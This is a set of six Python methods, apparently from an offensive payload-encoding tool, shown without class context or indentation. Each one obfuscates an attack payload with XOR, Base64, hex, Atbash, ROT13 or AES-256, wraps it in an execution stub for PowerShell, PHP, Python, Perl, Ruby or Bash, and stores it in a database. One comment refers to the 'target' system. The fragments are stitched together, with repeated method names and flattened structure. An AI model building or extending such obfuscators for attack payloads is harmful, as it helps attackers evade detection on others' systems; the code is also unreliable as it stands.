def encode(self):
data = self.xor_string()
encoded_payload, key = data
if self.exec_type in self.acceptable_exec_types:
payload = self.payload_starts[self.exec_type]
else:
payload = ""
if payload == "":
raise UnacceptableExecType("{} is unable to be encrypted into xor".format(self.exec_type))
payload = payload.format(encoded_payload, key)
is_inserted = insert_payload(payload, self.payload_type, self.exec_type, self.cursor)
return payload, is_inserted
def encode(self):
encoded_payload = base64.b64encode(self.payload)
acceptable_exec_types = ("powershell", "php", "python", "perl", "ruby", "bash")
if self.exec_type.lower() in acceptable_exec_types:
payload = self.payload_starts[self.exec_type]
else:
payload = ""
if payload == "":
raise UnacceptableExecType("{} is not able to be encoded into Base64".format(self.exec_type))
retval = payload.format(encoded_payload)
is_inserted = insert_payload(retval, self.payload_type, self.exec_type, self.cursor)
return retval, is_inserted
def encode(self):
hexlify = lambda x: "".join([hex(ord(c))[2:].zfill(2) for c in x])
acceptable_exec_types = ("powershell", "php", "python", "perl", "ruby",
"bash")
encoded_payload = hexlify(self.payload)
if self.exec_type in acceptable_exec_types:
payload = self.payload_starts[self.exec_type]
else:
payload = ""
if payload == "":
raise UnacceptableExecType("{} cannot be encoded into hex".format(
self.exec_type))
payload = payload.format(encoded_payload)
is_inserted = insert_payload(payload, self.payload_type,
self.exec_type, self.cursor)
return payload, is_inserted
def encode(self):
if self.exec_type in self.acceptable_exec_types:
usable_payload = []
for c in self.payload:
if c == '"':
c = r'\"'
usable_payload.append(c)
self.payload = "".join(usable_payload)
payload = self.payload_starts[self.exec_type]
else:
payload = ""
if payload == "":
raise UnacceptableExecType(
"{} cannot be encoded into atbash".format(self.exec_type))
encoded_payload = self.atbash()
retval = payload.format(encoded_payload)
is_inserted = insert_payload(retval, self.payload_type, self.exec_type,
self.cursor)
return retval, is_inserted
def encode(self):
tmp = []
for char in list(self.payload):
if char == '"':
char = r'\"'
tmp.append(char)
usable_payload = "".join(tmp)
encoded_payload = usable_payload.encode("rot13")
if self.exec_type.lower() in self.acceptable_exec_types:
payload = self.payload_starts[self.exec_type]
else:
payload = ""
if payload == "":
raise UnacceptableExecType(
"# {} is not able to be encoded into Rot13".format(
self.exec_type))
retval = payload.format(encoded_payload)
is_inserted = insert_payload(retval, self.payload_type, self.exec_type,
self.cursor)
return retval, is_inserted
def encode(self):
if self.exec_type.lower() in self.acceptable_exec_types:
if self.exec_type == "python":
print(
"# be sure that the target has PyCrypto on their system!")
payload = self.payload_starts[self.exec_type]
iv = Random.new().read(AES.block_size)
iv_int = int(binascii.hexlify(iv), 16)
ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
key = Random.new().read(self.key_bytes)
aes = AES.new(key, AES.MODE_CTR, counter=ctr)
encoded_payload = base64.b64encode(aes.encrypt(self.payload))
else:
payload = ""
if payload == "":
raise UnacceptableExecType(
"{} cannot be encoded into AES-256".format(self.exec_type))
retval = payload.format(encoded_payload, base64.b64encode(key),
base64.b64encode(iv))
is_inserted = insert_payload(retval, self.payload_type, self.exec_type,
self.cursor)
return retval, is_inserted